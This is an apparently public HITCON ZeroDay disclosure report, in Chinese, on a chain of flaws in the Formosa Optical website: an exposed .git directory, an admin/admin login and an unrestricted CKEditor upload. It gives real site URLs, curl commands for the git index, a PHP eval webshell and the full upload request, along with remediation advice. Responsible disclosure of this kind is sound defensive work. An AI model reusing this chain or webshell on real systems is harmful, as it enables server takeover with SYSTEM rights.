寶島眼鏡 透過 .git 洩漏、弱密碼、任意檔案上傳等弱點取得 nt\system 執行權限 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00306
  •  發信 Vendor: 寶島眼鏡
  • Title: 寶島眼鏡 透過 .git 洩漏、弱密碼、任意檔案上傳等弱點取得 nt\system 執行權限
  • Introduction: 由於 .git 洩漏、弱密碼、任意檔案上傳導致任意程式碼執行漏洞

處理狀態

目前狀態

公開
Last Update : 2023/08/24
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/06/24 22:31:56 : 新提交 (由 d0gkiller87 更新此狀態)
  • 2023/06/26 10:00:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/07/05 18:04:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/07/05 18:04:59 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/07/05 18:04:59 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/24 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00306
  • 通報者:vungsung (d0gkiller87)
  • 風險:嚴重
  • 類型:任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。

漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

- .git 洩漏:https://www.formosa-optical.com.tw/.git/
- 從 .git 找到的管理頁面 URL:https://www.formosa-optical.com.tw/z.php
- 用弱密碼 admin/admin 登入後的 CKEditor 文章編輯頁面:https://www.formosa-optical.com.tw/include/MSuper.php?Action=edit&Template=news01.php&Page=2&KeyID=1017642592635baeaeb6ba9
- filebrowserUploadUrl 指向的上傳端點:https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1
- 上傳的 PoC webshell:https://www.formosa-optical.com.tw/include/img/14463041766496e1ea1845e.php

敘述

  1. 於官網發現開放的 .git 目錄,使用工具 https://github.com/davtur19/DotGit 可重建部分 .git 目錄
    圖片
    因不明因素無法取得大部分檔案的內容 (如 PHP 檔案、原始碼等)。但可以從 https://www.formosa-optical.com.tw/.git/index 來取得各個檔案的路徑
    圖片
    若沒裝 git 客戶端或 DotGit 插件,也可用 CLI 指令來複現以上操作:
    curl https://www.formosa-optical.com.tw/.git/index -o index
    strings index | grep .php
  2. 存取 git index 中檔案路徑對應的 URL,發現可以讀取到設定檔 (/php.ini、/.cpanel.yml)、管理頁面 (/z.php) 等
    圖片
  3. 使用弱密碼 admin/admin 可登入管理頁面 z.php
    圖片
  4. 於「1 系統管理」→ 「1-2 網站地圖」(https://www.formosa-optical.com.tw/aiadmin/main.php?Page=2-1) 選擇「最新消息」分類的「線上更新2」(雲朵樣式的按鈕),進入最新消息列表的編輯頁面 (https://www.formosa-optical.com.tw/include/index.php?Page=2)
    圖片
  5. 對任一最新消息點選「編輯」按鈕,進入編輯畫面
    圖片
  6. 於 CKEditor 視窗選擇「圖像」→「上傳」,然後選擇一個副檔名為 jpg 的檔案 (空檔案也行)
    圖片
    圖片
  7. 使用 Burp Suite 攔截 POST 至 https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1 的封包,將檔案名稱替換成 test.php、檔案內容則替換成以下內容 (分幾行寫為了繞過防毒軟體)
    <?php
    $user_data = $_REQUEST['securitytest'];
    // test security
    eval($user_data);
    ?>
    送出請求後從回應中可獲得上傳後的檔案位置 (https://www.formosa-optical.com.tw/include/img/xxx.php)
    圖片
  8. 使用 AntSword 或其他 webshell 控制軟體連接,發現可用 nt authority\system 身分執行權限
    圖片
  9. 測試上傳的檔案列表
  10. 上傳的 Request
POST /include/uploadckeditor.php?CKEditorFuncNum=1 HTTP/1.1
Host: www.formosa-optical.com.tw
Content-Length: 422
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLyu7nAcHEnXpXSk
Connection: close

------WebKitFormBoundaryoLyu7nAcHEnXpXSk
Content-Disposition: form-data; name="upload"; filename="test.php"
Content-Type: image/jpeg

<?php
$user_data = $_REQUEST['securitytest'];
// test security
eval($user_data);
?>
------WebKitFormBoundaryoLyu7nAcHEnXpXSk
Content-Disposition: form-data; name="ckCsrfToken"

RaM2YBd6UK3AzJkl4i55L7l7LVqb0L7soFVuq1QD
------WebKitFormBoundaryoLyu7nAcHEnXpXSk--

修補建議

1. 使用 Docker/Podman 在隔離環境執行伺服器程式碼
2. 使用較安全的組態代替 XAMPP
3. 調整機敏檔案如 app.ini、php.ini、.git/ 的存取權限,並盡量避免將設定檔與 AP 程式碼放在同目錄 (例如放在 /usr/local/etc/php/8.1/php.ini)
4. 管理頁面避免使用弱憑證 (如 admin/admin、test/test),並使用有 salt 的 hash 如 Bcrypt 等來代替明文保存密碼
5. 確保 CKEditor filebrowserUploadUrl 設定的檔案上傳端點 (https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1) 只允許 jpg、png 等白名單副檔名上傳
6. 停用上傳目錄的所有 PHP 執行權限,即便攻擊者成功上傳也無法執行程式碼

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;